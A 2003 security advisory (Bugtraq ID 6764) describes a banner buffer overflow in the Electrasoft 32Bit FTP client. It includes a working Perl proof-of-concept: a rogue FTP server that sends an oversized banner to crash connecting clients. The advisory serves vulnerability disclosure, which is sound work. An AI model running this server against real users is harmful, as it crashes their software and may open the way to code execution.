Electrasoft 32Bit FTP Client Long Server Banner Buffer Overflow Vulnerability

BID:6764

Info

Electrasoft 32Bit FTP Client Long Server Banner Buffer Overflow Vulnerability

Bugtraq ID: 6764
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Feb 04 2003 12:00AM
Updated: Feb 04 2003 12:00AM
Credit: Discovery of this vulnerability has been creditied to Dennis Rand <[email protected]>
Vulnerable: ElectraSoft 32Bit FTP 9.49.1
Not Vulnerable: ElectraSoft 32Bit FTP 9.50.1

Discussion

Electrasoft 32Bit FTP Client Long Server Banner Buffer Overflow Vulnerability

It has been reported that Electrasoft 32Bit FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

Exploit / POC

Electrasoft 32Bit FTP Client Long Server Banner Buffer Overflow Vulnerability

The following proof of concept code was supplied by Dennis Rand <[email protected]>:

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - [email protected]
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
}

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